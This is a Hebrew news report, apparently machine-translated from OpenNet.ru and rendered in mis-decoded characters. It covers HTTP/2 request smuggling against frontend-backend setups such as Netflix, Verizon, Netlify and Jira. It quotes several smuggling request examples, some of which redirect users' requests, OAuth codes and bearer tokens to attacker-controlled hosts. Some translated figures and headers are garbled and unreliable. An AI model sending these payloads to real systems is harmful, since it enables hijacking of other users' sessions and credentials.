ื”ืชืงืคื” ื—ื“ืฉื” ืขืœ ืžืขืจื›ื•ืช ื—ื–ื™ืช-ืื ื“-ืขื•ืจืคื™ ื”ืžืืคืฉืจืช ืœืš ืœื”ืฉืชืœื‘ ื‘ื‘ืงืฉื•ืช

ืžืขืจื›ื•ืช ืื™ื ื˜ืจื ื˜ ืฉื‘ื”ืŸ ื”-frontend ืžืงื‘ืœ ื—ื™ื‘ื•ืจื™ื ื‘ืืžืฆืขื•ืช HTTP/2 ื•ืžืฉื“ืจ ืœ-backend ื‘ืืžืฆืขื•ืช HTTP/1.1 ื ื—ืฉืคื• ืœื’ืจืกื” ื—ื“ืฉื” ืฉืœ ื”ืชืงืคืช HTTP Request Smuggling, ื”ืžืืคืฉืจืช, ื‘ืืžืฆืขื•ืช ืฉืœื™ื—ืช ื‘ืงืฉื•ืช ืœืงื•ื— ืฉืชื•ื›ื ื ื• ื‘ืžื™ื•ื—ื“, ืœื”ืฉืชืœื‘ ื‘ืชื•ื›ืŸ. ืฉืœ ื‘ืงืฉื•ืช ืžืžืฉืชืžืฉื™ื ืื—ืจื™ื ืฉืขื•ื‘ื“ื• ื‘ืื•ืชื” ื–ืจื™ืžื” ื‘ื™ืŸ ืงืฆื” ืงืฆื” ืœืงืฆื”. ื ื™ืชืŸ ืœื”ืฉืชืžืฉ ื‘ืžืชืงืคื” ื›ื“ื™ ืœื”ื›ื ื™ืก ืงื•ื“ JavaScript ื–ื“ื•ื ื™ ืœื”ืคืขืœื” ืขื ืืชืจ ืœื’ื™ื˜ื™ืžื™, ืœืขืงื•ืฃ ืžืขืจื›ื•ืช ื‘ืงืจืช ื’ื™ืฉื” ื•ืœื™ื™ืจื˜ ืคืจืžื˜ืจื™ื ืฉืœ ืื™ืžื•ืช.

ื”ื‘ืขื™ื” ืžืฉืคื™ืขื” ืขืœ ืคืจื•ืงืกื™ ืื™ื ื˜ืจื ื˜, ืžืื–ื ื™ ืขื•ืžืกื™ื, ืžืื™ืฆื™ ืจืฉืช, ืžืขืจื›ื•ืช ืืกืคืงืช ืชื•ื›ืŸ ื•ืชืฆื•ืจื•ืช ืื—ืจื•ืช ืฉื‘ื”ืŸ ื‘ืงืฉื•ืช ืžื•ืคื ื•ืช ืžื—ื“ืฉ ืœืคื™ ืกื›ืžืช ื”-front-end-backend. ืžื—ื‘ืจ ื”ืžื—ืงืจ ื”ื“ื’ื™ื ืืช ื”ื™ื›ื•ืœืช ืœืชืงื•ืฃ ืžืขืจื›ื•ืช ื‘-Netflix, Verizon, Bitbucket, Netlify CDN ื•-Atlassian, ื•ืงื™ื‘ืœ 56 ื“ื•ืœืจ ื‘ืชื•ื›ื ื™ื•ืช ืคืจืก ืฉืœ ืคื’ื™ืขื•ืช. ื”ื‘ืขื™ื” ืื•ืฉืจื” ื’ื ื‘ืžื•ืฆืจื™ F5 Networks. ื”ื‘ืขื™ื” ืžืฉืคื™ืขื” ื‘ืื•ืคืŸ ื—ืœืงื™ ืขืœ mod_proxy ื‘ืฉืจืช ื”-Apache http (CVE-2021-33193), ืชื™ืงื•ืŸ ืฆืคื•ื™ ื‘ื’ืจืกื” 2.4.49 (ื”ืžืคืชื—ื™ื ืงื™ื‘ืœื• ื”ื•ื“ืขื” ืขืœ ื”ื‘ืขื™ื” ื‘ืชื—ื™ืœืช ืžืื™ ื•ืงื™ื‘ืœื• 3 ื—ื•ื“ืฉื™ื ืœืชืงืŸ ืื•ืชื”). ื‘-nginx, ื”ื™ื›ื•ืœืช ืœืฆื™ื™ืŸ ืืช ื”ื›ื•ืชืจื•ืช "ืื•ืจืš-ืชื•ื›ืŸ" ื•-"ืงื™ื“ื•ื“ ื”ืขื‘ืจื”" ื‘ื•-ื–ืžื ื™ืช ื ื—ืกืžื” ื‘ืžื”ื“ื•ืจื” ื”ืื—ืจื•ื ื” (1.21.1). ื›ืœื™ ื”ืชืงืคื” ื›ื‘ืจ ื ื•ืกืคื• ืœืขืจื›ืช ื”ื›ืœื™ื ืฉืœ Burp ื•ื”ื ื–ืžื™ื ื™ื ื‘ืชื•ืจ ื”ืจื—ื‘ื” ืฉืœ Turbo Intruder.

ืขืงืจื•ืŸ ื”ืคืขื•ืœื” ืฉืœ ื”ืฉื™ื˜ื” ื”ื—ื“ืฉื” ืฉืœ ืชื™ืจื•ื– ื‘ืงืฉื•ืช ืœืชืขื‘ื•ืจื” ื“ื•ืžื” ืœืคื’ื™ืขื•ืช ืฉื–ื™ื”ืชื” ืื•ืชื• ื—ื•ืงืจ ืœืคื ื™ ืฉื ืชื™ื™ื, ืืš ืžื•ื’ื‘ืœ ืœื—ื–ื™ืชื•ืช ื”ืžืงื‘ืœื•ืช ื‘ืงืฉื•ืช ื“ืจืš HTTP/1.1. ื ื–ื›ื™ืจ ืฉื‘ืกื›ืžืช ื”-frontend-backend, ื‘ืงืฉื•ืช ืœืงื•ื— ืžืชืงื‘ืœื•ืช ืขืœ ื™ื“ื™ ืฆื•ืžืช ื ื•ืกืฃ - ื”-frontend, ืืฉืจ ื™ื•ืฆืจ ื—ื™ื‘ื•ืจ TCP ืืจื•ืš ื˜ื•ื•ื— ืขื ื”-backend ื”ืžืขื‘ื“ ื™ืฉื™ืจื•ืช ื‘ืงืฉื•ืช. ื“ืจืš ื”ื—ื™ื‘ื•ืจ ื”ืžืฉื•ืชืฃ ื”ื–ื” ืžื•ืขื‘ืจื•ืช ื‘ื“ืจืš ื›ืœืœ ื‘ืงืฉื•ืช ืฉืœ ืžืฉืชืžืฉื™ื ืฉื•ื ื™ื, ื”ืขื•ืงื‘ื•ืช ืื—ืจ ื”ืฉืจืฉืจืช ื‘ื–ื• ืื—ืจ ื–ื•, ืžื•ืคืจื“ื•ืช ื‘ืืžืฆืขื•ืช ืคืจื•ื˜ื•ืงื•ืœ HTTP.

ื”ืชืงืคืช "ื”ื‘ืจื—ืช ื‘ืงืฉืช HTTP" ื”ืงืœืืกื™ืช ื”ืชื‘ืกืกื” ืขืœ ื”ืขื•ื‘ื“ื” ืฉ-frontends ื•-backends ืžืคืจืฉื™ื ืืช ื”ืฉื™ืžื•ืฉ ื‘ื›ื•ืชืจื•ืช HTTP "Content-Length" (ืงื•ื‘ืข ืืช ื”ื’ื•ื“ืœ ื”ื›ื•ืœืœ ืฉืœ ื”ื ืชื•ื ื™ื ื‘ื‘ืงืฉื”) ื•-"Transfer-Encoding: chunked" ( ืžืืคืฉืจ ื”ืขื‘ืจืช ื ืชื•ื ื™ื ื‘ื—ืœืงื™ื) ื‘ืฆื•ืจื” ืฉื•ื ื” . ืœื“ื•ื’ืžื”, ืื ื”-frontend ืชื•ืžืš ืจืง ื‘-"Content-Length" ืื‘ืœ ืžืชืขืœื ืž-"Transfer-Encoding: chunked", ืื– ืชื•ืงืฃ ื™ื›ื•ืœ ืœืฉืœื•ื— ื‘ืงืฉื” ืฉืžื›ื™ืœื” ื’ื ืืช ื”ื›ื•ืชืจื•ืช "Content-Length" ื•ื’ื "Transfer-Encoding: chunked", ืื‘ืœ ื”ื’ื•ื“ืœ ื”ื•ื "ืชื•ื›ืŸ-ืื•ืจืš" ืื™ื ื• ืชื•ืื ืืช ื’ื•ื“ืœ ื”ืฉืจืฉืจืช ื”ื—ืชื•ื›ื”. ื‘ืžืงืจื” ื–ื”, ื”-frontend ื™ืขื‘ื“ ื•ื™ื ืชื‘ ืžื—ื“ืฉ ืืช ื”ื‘ืงืฉื” ื‘ื”ืชืื ืœ-Content-Length, ื•ื”-backend ื™ืžืชื™ืŸ ืœื”ืฉืœืžืช ื”ื—ืกื™ืžื” ื‘ื”ืชื‘ืกืก ืขืœ "Transfer-Encoding: chunked" ื•ื”ื–ื ื‘ ื”ื ื•ืชืจ ืฉืœ ื‘ืงืฉืช ื”ืชื•ืงืฃ ื™ื”ื™ื” ื‘ืชื—ื™ืœืช ื”ื‘ืงืฉื” ื”ื–ืจื” ืฉืฉื•ื“ืจื” ืœืื—ืจ ืžื›ืŸ.

ืฉืœื ื›ืžื• ืคืจื•ื˜ื•ืงื•ืœ HTTP/1.1 ืžื‘ื•ืกืก ื˜ืงืกื˜, ืฉืžื ืชื— ื‘ืจืžืช ื”ืฉื•ืจื”, HTTP/2 ื”ื•ื ืคืจื•ื˜ื•ืงื•ืœ ื‘ื™ื ืืจื™ ื•ืžื‘ืฆืข ืžื ื™ืคื•ืœืฆื™ื•ืช ืขืœ ื‘ืœื•ืงื™ ื ืชื•ื ื™ื ื‘ื’ื•ื“ืœ ืงื‘ื•ืข ืžืจืืฉ. ืขื ื–ืืช, HTTP/2 ืžืฉืชืžืฉ ื‘ื›ื•ืชืจื•ืช ืคืกืื•ื“ื• ื”ืžืชืื™ืžื•ืช ืœื›ื•ืชืจื•ืช HTTP ืจื’ื™ืœื•ืช. ื‘ืขืช ืื™ื ื˜ืจืืงืฆื™ื” ืขื ื”ืงืฆื” ื”ืื—ื•ืจื™ ื‘ืืžืฆืขื•ืช HTTP/1.1, ื”-frontend ืžืชืจื’ื ืืช ื”ื›ื•ืชืจื•ืช ื”ืคืกืื•ื“ื• ืืœื” ืœื›ื•ืชืจื•ืช HTTP/1.1 ื“ื•ืžื•ืช ืฉืœ HTTP. ื”ื‘ืขื™ื” ื”ื™ื ืฉื”-backend ืžืงื‘ืœ ื”ื—ืœื˜ื•ืช ืœื’ื‘ื™ ื ื™ืชื•ื— ื”ื–ืจื ืขืœ ืกืžืš ื›ื•ืชืจื•ืช ื”-HTTP ืฉื ืงื‘ืขื• ืขืœ ื™ื“ื™ ื”-frontend, ืžื‘ืœื™ ืœื“ืขืช ืืช ื”ืคืจืžื˜ืจื™ื ืฉืœ ื”ื‘ืงืฉื” ื”ืžืงื•ืจื™ืช.

ื›ื•ืœืœ ื‘ืฆื•ืจืช ืคืกืื•ื“ื•-ื›ื•ืชืจื•ืช, ื ื™ืชืŸ ืœื”ืขื‘ื™ืจ ืืช ื”ืขืจื›ื™ื "ืื•ืจืš-ืชื•ื›ืŸ" ื•-"ืงื™ื“ื•ื“ ื”ืขื‘ืจื”", ืœืžืจื•ืช ื”ืขื•ื‘ื“ื” ืฉื”ื ืื™ื ื ื‘ืฉื™ืžื•ืฉ ื‘-HTTP / 2, ืฉื›ืŸ ื’ื•ื“ืœ ื›ืœ ื”ื ืชื•ื ื™ื ื ืงื‘ืข ื‘- ืฉื“ื” ื ืคืจื“. ืขื ื–ืืช, ื‘ืชื”ืœื™ืš ื”ืžืจืช ื‘ืงืฉืช HTTP/2 ืœ-HTTP/1.1, ื”ื›ื•ืชืจื•ืช ื”ืœืœื• ืžื•ืขื‘ืจื•ืช ื•ื™ื›ื•ืœื•ืช ืœื‘ืœื‘ืœ ืืช ื”ืงืฆื” ื”ืขื•ืจืคื™. ื™ืฉื ืŸ ืฉืชื™ ืืคืฉืจื•ื™ื•ืช ื”ืชืงืคื” ืขื™ืงืจื™ื•ืช: H2.TE ื•-H2.CL, ืฉื‘ื”ืŸ ื”ืงืฆื” ื”ืื—ื•ืจื™ ืžื˜ืขื” ืขืœ ื™ื“ื™ ืงื™ื“ื•ื“ ื”ืขื‘ืจื” ืฉื’ื•ื™ ืื• ืขืจืš ืื•ืจืš ืชื•ื›ืŸ ืฉืื™ื ื• ืžืชืื™ื ืœื’ื•ื“ืœ ื”ืืžื™ืชื™ ืฉืœ ื’ื•ืฃ ื”ื‘ืงืฉื” ืฉื”ืชืงื‘ืœ ืขืœ ื™ื“ื™ ื”-frontend ื‘ืืžืฆืขื•ืช ืคืจื•ื˜ื•ืงื•ืœ HTTP / 2.

ื”ืชืงืคื” ื—ื“ืฉื” ืขืœ ืžืขืจื›ื•ืช ื—ื–ื™ืช-ืื ื“-ืขื•ืจืคื™ ื”ืžืืคืฉืจืช ืœืš ืœื”ืฉืชืœื‘ ื‘ื‘ืงืฉื•ืช

ื›ื“ื•ื’ืžื” ืœื”ืชืงืคืช H2.CL, ื”ืคืกืื•ื“ื•-ื›ื•ืชืจืช ืฉืœ ืื•ืจืš ื”ืชื•ื›ืŸ ืคื’ื•ืžื” ื‘ืขืช ืฉืœื™ื—ืช ื‘ืงืฉืช HTTP/2 ืœื ื˜ืคืœื™ืงืก. ื‘ืงืฉื” ื–ื• ื’ื•ืจืžืช ืœื”ื•ืกืคืช ื›ื•ืชืจืช HTTP ื“ื•ืžื” ื‘ืื•ืจืš Content-Length ื‘ืขืช ื’ื™ืฉื” ืœ-backend ื“ืจืš HTTP/1.1, ืืš ืžื›ื™ื•ื•ืŸ ืฉื”ื’ื•ื“ืœ ื‘-Content-Length ืงื˜ืŸ ืžื”ื’ื•ื“ืœ ื”ืืžื™ืชื™, ื—ืœืง ืžื”ื ืชื•ื ื™ื ื‘ื–ื ื‘ ืžืขื•ื‘ื“ื™ื ื›ื”ืชื—ืœื” ืฉืœ ื”ื‘ืงืฉื” ื”ื‘ืื”.

ืœื“ื•ื’ืžื”, ื‘ืงืฉื” HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 ืžืืจื—: 02.rs?x.netflix.com Foo: bar

ื™ืฉืœื— ื‘ืงืฉื” ืœืงืฆื” ื”ืขื•ืจืคื™: POST /n HTTP/1.1 ืžืืจื—: www.netflix.com ืื•ืจืš ืชื•ื›ืŸ: 4 abcdGET /n HTTP/1.1 ืžืืจื—: 02.rs?x.netflix.com Foo: bar

ืžื›ื™ื•ื•ืŸ ืฉ-Content-Length ืžื•ื’ื“ืจ ืœ-4, ื”ืงืฆื” ื”ืื—ื•ืจื™ ื™ืงื‘ืœ ืจืง "abcd" ื›ื’ื•ืฃ ื”ื‘ืงืฉื”, ื•ื™ืขื‘ื“ ืืช ืฉืืจ ื”-"GET /n HTTP/1.1..." ื›ืชื—ื™ืœืช ื”ื‘ืงืฉื” ื”ื‘ืื” ื”ืžื—ื•ื‘ืจืช ืœืžืฉืชืžืฉ ืื—ืจ. ื‘ื”ืชืื ืœื›ืš, ื”ื–ืจื ืœื ื™ื”ื™ื” ืžืกื•ื ื›ืจืŸ, ื•ื‘ืชื’ื•ื‘ื” ืœื‘ืงืฉื” ื”ื‘ืื” ืชื•ื—ื–ืจ ืชื•ืฆืืช ืขื™ื‘ื•ื“ ื”ื‘ืงืฉื” ื”ืžื–ื•ื™ืคืช. ื‘ืžืงืจื” ืฉืœ ื ื˜ืคืœื™ืงืก, ืฆื™ื•ืŸ ืžืืจื— ืฆื“ ืฉืœื™ืฉื™ ื‘ื›ื•ืชืจืช "ืžืืจื—:" ื‘ื‘ืงืฉื” ืžื–ื•ื™ืคืช ื”ื‘ื™ื ืœืชื’ื•ื‘ื” "ืžื™ืงื•ื: https://02.rs?x.netflix.com/n" ืœืœืงื•ื— ื•- ืืคืฉืจ ืœื”ืขื‘ื™ืจ ืชื•ื›ืŸ ืฉืจื™ืจื•ืชื™ ืœืœืงื•ื—, ื›ื•ืœืœ ื‘ื™ืฆื•ืข ืงื•ื“ ื”-JavaScript ืฉืœืš ื‘ื”ืงืฉืจ ืฉืœ ืืชืจ Netflix.

ื”ื’ืจืกื” ื”ืฉื ื™ื™ื” ืฉืœ ื”ื”ืชืงืคื” (H2.TE) ืงืฉื•ืจื” ืœื”ื—ืœืคืช ื”ื›ื•ืชืจืช "Transfer-Encoding: chunked". ื”ืฉื™ืžื•ืฉ ื‘-Pseudo-header ืฉืœ ืงื™ื“ื•ื“ ื”ื”ืขื‘ืจื” ื‘-HTTP/2 ืืกื•ืจ ืขืœ ืคื™ ื”ืžืคืจื˜, ื•ื‘ืงืฉื•ืช ืขืžื• ื ืงื‘ืขื•ืช ืœื”ืชื™ื™ื—ืก ื›ืœื ื ื›ื•ื ื•ืช. ืœืžืจื•ืช ื–ืืช, ื›ืžื” ื™ื™ืฉื•ืžื™ ืงืฆื” ืžืชืขืœืžื™ื ืžื”ื“ืจื™ืฉื” ื”ื–ื• ื•ืžืืคืฉืจื™ื ืฉื™ืžื•ืฉ ื‘-Pseudo-header ืฉืœ ืงื™ื“ื•ื“ ื”ืขื‘ืจื” ื‘-HTTP/2, ืฉืžืชื•ืจื’ื ืœื›ื•ืชืจืช HTTP ื“ื•ืžื”. ืื ื”ื›ื•ืชืจืช "ืงื™ื“ื•ื“ ื”ืขื‘ืจื”" ืงื™ื™ืžืช, ื”ืงืฆื” ื”ืื—ื•ืจื™ ื™ื›ื•ืœ ืœืงื—ืช ืื•ืชื” ื‘ืจืืฉ ืกื“ืจ ื”ืขื“ื™ืคื•ื™ื•ืช ื•ืœื ืชื— ืืช ื”ื ืชื•ื ื™ื ื‘ื—ืœืงื™ื ื‘ืžืฆื‘ "ื ืชื—ื™ื" ื‘ืืžืฆืขื•ืช ื‘ืœื•ืงื™ื ื‘ื’ื“ืœื™ื ืฉื•ื ื™ื ื‘ืคื•ืจืžื˜ "{ื’ื•ื“ืœ}\r\n{ื‘ืœื•ืง} \r\n{ื’ื•ื“ืœ} \r\n{ื‘ืœื•ืง}\r\n0" ืœืžืจื•ืช ื”ื—ืœื•ืงื” ื”ืจืืฉื•ื ื™ืช ืœืคื™ ื’ื•ื“ืœ ื›ืœืœื™.

ื ื•ื›ื—ื•ืชื• ืฉืœ ืคืขืจ ื›ื–ื” ื”ื•ื›ื—ื” ื‘ื“ื•ื’ืžื” ืฉืœ Verizon. ืขื ื–ืืช, ื”ื‘ืขื™ื” ื ื’ืขื” ื‘ืคื•ืจื˜ืœ ื”ืื™ืžื•ืช ื•ื‘ืžืขืจื›ืช ื ื™ื”ื•ืœ ื”ืชื•ื›ืŸ, ื”ืžืฉืžืฉืช ื’ื ืืชืจื™ื ื›ืžื• Huffington Post ื•-Engadget. ืœื“ื•ื’ืžื”, ื‘ืงืฉืช ืœืงื•ื— ื“ืจืš HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ื”ืขื‘ืจื”-ืงื™ื“ื•ื“ ื—ืชื™ื›ื” 0 GET /oops HTTP/1.1 ืžืืจื—: psres.net ืื•ืจืš ืชื•ื›ืŸ: 10 x=

ื’ืจื ืœื‘ืงืฉืช HTTP/1.1 ืœ-backend: POST /identity/XUI HTTP/1.1 ืžืืจื—: id.b2b.oath.com ืื•ืจืš ืชื•ื›ืŸ: 66 ื”ืขื‘ืจื”-ืงื™ื“ื•ื“: chunked 0 GET /oops HTTP/1.1 ืžืืจื—: psres.net Content- Length : 10x=

ื”ืงืฆื” ื”ืื—ื•ืจื™, ื‘ืชื•ืจื•, ื”ืชืขืœื ืžื”ื›ื•ืชืจืช "ืื•ืจืš ืชื•ื›ืŸ" ื•ื‘ื™ืฆืข ืคื™ืฆื•ืœ ื‘ื–ืจื ืขืœ ื‘ืกื™ืก "ืงื™ื“ื•ื“ ื”ืขื‘ืจื”: ื—ืชื™ื›ื•ืช". ื‘ืคื•ืขืœ, ื”ืžืชืงืคื” ืืคืฉืจื” ืœื”ืคื ื•ืช ื‘ืงืฉื•ืช ืžืฉืชืžืฉื™ื ืœืืชืจ ืฉืœืš, ืœืจื‘ื•ืช ื™ื™ืจื•ื˜ ื‘ืงืฉื•ืช ื”ืงืฉื•ืจื•ืช ืœืื™ืžื•ืช OAuth, ืฉื”ืคืจืžื˜ืจื™ื ืฉืœื”ืŸ ื”ื•ืคื™ืขื• ื‘-Referer, ื•ื›ืŸ ื”ื“ืžื™ื™ืช ื”ืคืขืœืช ืื™ืžื•ืช ื•ื™ื™ื–ื•ื ืฉืœื™ื—ืช ืื™ืฉื•ืจื™ ืžืฉืชืžืฉ ืœ- ื”ืžืืจื— ืฉืœ ื”ืชื•ืงืฃ. GET /b2blanding/show/oops HTTP/1.1 ืžืืจื—: psres.net ืžืคื ื”: https://id.b2b.oath.com/?โ€ฆ&code=secret GET / HTTP/1.1 ืžืืจื—: psres.net ื”ืจืฉืื”: ื ื•ืฉืืช eyJhcGwiOiJIUzI1Gi1sInR6cCI6โ€ฆ

ื›ื“ื™ ืœืชืงื•ืฃ ื™ื™ืฉื•ืžื™ HTTP/2 ืฉืื™ื ื ืžืืคืฉืจื™ื ืœืฆื™ื™ืŸ ืืช ื”ืคืกืื•ื“ื•-ื”ื›ื•ืชืจืช ืฉืœ ืงื™ื“ื•ื“ ื”ื”ืขื‘ืจื”, ื”ื•ืฆืขื” ืฉื™ื˜ื” ืื—ืจืช ื”ื›ื•ืœืœืช ื”ื—ืœืคืช ื”ื›ื•ืชืจืช "ืงื™ื“ื•ื“ ื”ืขื‘ืจื”" ืขืœ ื™ื“ื™ ืฆื™ืจื•ืคื” ืœื›ื•ืชืจื•ืช ืคืกืื•ื“ื• ืื—ืจื•ืช ื”ืžื•ืคืจื“ื•ืช ืขืœ ื™ื“ื™ ืชื• ื—ื“ืฉ (ื›ืฉื”ื™ื ืžื•ืžืจืช ืœ-HTTP/1.1 ื‘ืžืงืจื” ื–ื”, ื ื•ืฆืจื•ืช ืฉืชื™ ื›ื•ืชืจื•ืช HTTP ื ืคืจื“ื•ืช).

ืœื“ื•ื’ืžื”, Atlassian Jira ื•-Netlify CDN (ื”ืžืฉืžืฉื™ื ืœืฉืจืช ืืช ื“ืฃ ื”ืคืชื™ื—ื” ืฉืœ Mozilla ื‘-Firefox) ื”ื•ืฉืคืขื• ืžื‘ืขื™ื” ื–ื•. ื‘ืื•ืคืŸ ืกืคืฆื™ืคื™, ื‘ืงืฉืช ื”-HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n ืงื™ื“ื•ื“ ื”ืขื‘ืจื”: chunked 0\r\n \r\n GET / HTTP/1.1\r\n ืžืืจื— : evil-netlify-domain\r\n ืื•ืจืš ืชื•ื›ืŸ: 5\r\n \r\nx=

ื’ืจื ืœื‘ืงืฉืช HTTP/1.1 POST / HTTP/1.1 ืœื”ื™ืฉืœื— ืืœ ื”ืงืฆื” ื”ืื—ื•ืจื™\r\n ืžืืจื—: start.mozilla.org\r\n Foo: b\r\n ื”ืขื‘ืจื”-ืงื™ื“ื•ื“: chunked\r\n ืชื•ื›ืŸ- ืื•ืจืš: 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ืžืืจื—: evil-netlify-domain\r\n ืื•ืจืš ืชื•ื›ืŸ: 5\r\n \ r\nx=

ืืคืฉืจื•ืช ื ื•ืกืคืช ืœื”ื—ืœืคืช ื”ื›ื•ืชืจืช "ื”ืขื‘ืจื”-ืงื™ื“ื•ื“" ื”ื™ื™ืชื” ืœืฆืจืฃ ืื•ืชื” ืœืฉื ืฉืœ ืคืกืื•ื“ื•-ื›ื•ืชืจืช ืื—ืจืช ืื• ืœืžื—ืจื•ื–ืช ืขื ืฉื™ื˜ืช ื‘ืงืฉื”. ืœื“ื•ื’ืžื”, ื‘ืขืช ื’ื™ืฉื” ืœ-Atlassian Jira, ื”ืฉื ืฉืœ ื”ืคืกืื•ื“ื•-ื›ื•ืชืจืช "foo: bar\r\ntransfer-encoding" ืขื ื”ืขืจืš "chunked" ื”ื‘ื™ื ืœื”ื•ืกืคืช ื›ื•ืชืจื•ืช ื”-HTTP "foo: bar" ื•-"transfer-encoding" : chunked", ื•ืฆื™ื•ืŸ ื‘-pseudo-header ":method" ืฉืœ ื”ืขืจืš "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ืชื•ืจื’ื ืœ-"GET / HTTP/1.1\r\ntransfer-encoding: chunked" .

ื”ื—ื•ืงืจ ืฉื–ื™ื”ื” ืืช ื”ื‘ืขื™ื” ื”ืฆื™ืข ื’ื ื˜ื›ื ื™ืงืช ืžื ื”ื•ืจ ื‘ืงืฉื” ืœืชืงื•ืฃ ืืช ื”ื—ื–ื™ืชื•ืช, ืฉื‘ื” ื ื•ืฆืจ ื—ื™ื‘ื•ืจ ื ืคืจื“ ืœ-backend ืขื‘ื•ืจ ื›ืœ ื›ืชื•ื‘ืช IP ื•ื”ืชื ื•ืขื” ืฉืœ ืžืฉืชืžืฉื™ื ืฉื•ื ื™ื ืื™ื ื” ืžืขื•ืจื‘ืช. ื”ื˜ื›ื ื™ืงื” ื”ืžื•ืฆืขืช ืื™ื ื” ืžืืคืฉืจืช ืœืš ืœื”ืชืขืจื‘ ื‘ื‘ืงืฉื•ืช ืฉืœ ืžืฉืชืžืฉื™ื ืื—ืจื™ื, ืืš ื”ื™ื ืžืืคืฉืจืช ืœื”ืจืขื™ืœ ืืช ื”ืžื˜ืžื•ืŸ ื”ืžืฉื•ืชืฃ, ื”ืžืฉืคื™ืข ืขืœ ืขื™ื‘ื•ื“ ื‘ืงืฉื•ืช ืื—ืจื•ืช, ื•ืžืืคืฉืจืช ืœืš ืœื‘ืฆืข ื”ื—ืœืคื” ืฉืœ ื›ื•ืชืจื•ืช HTTP ืคื ื™ืžื™ื•ืช ื”ืžืฉืžืฉื•ืช ืœื”ืขื‘ืจืช ืžื™ื“ืข ืฉื™ืจื•ืช ืž- ื”-frontend ืœ-backend (ืœื“ื•ื’ืžื”, ื‘ืขืช ืื™ืžื•ืช ื‘ืฆื“ ื”-frontend ื‘ื›ื•ืชืจื•ืช ื›ืืœื” ื™ื›ื•ืœ ืœืฉืœื•ื— ืžื™ื“ืข ืขืœ ื”ืžืฉืชืžืฉ ื”ื ื•ื›ื—ื™ ืœ-backend). ื›ื“ื•ื’ืžื” ืœื™ื™ืฉื•ื ื”ืฉื™ื˜ื” ื‘ืคื•ืขืœ, ื‘ืืžืฆืขื•ืช ื”ืจืขืœืช ืžื˜ืžื•ืŸ, ื ื™ืชืŸ ื”ื™ื” ืœื”ืฉื™ื’ ืฉืœื™ื˜ื” ืขืœ ื”ื“ืคื™ื ื‘ืฉื™ืจื•ืช Bitbucket.

ืžืงื•ืจ: OpenNet.ru

ื”ื•ืกืคืช ืชื’ื•ื‘ื”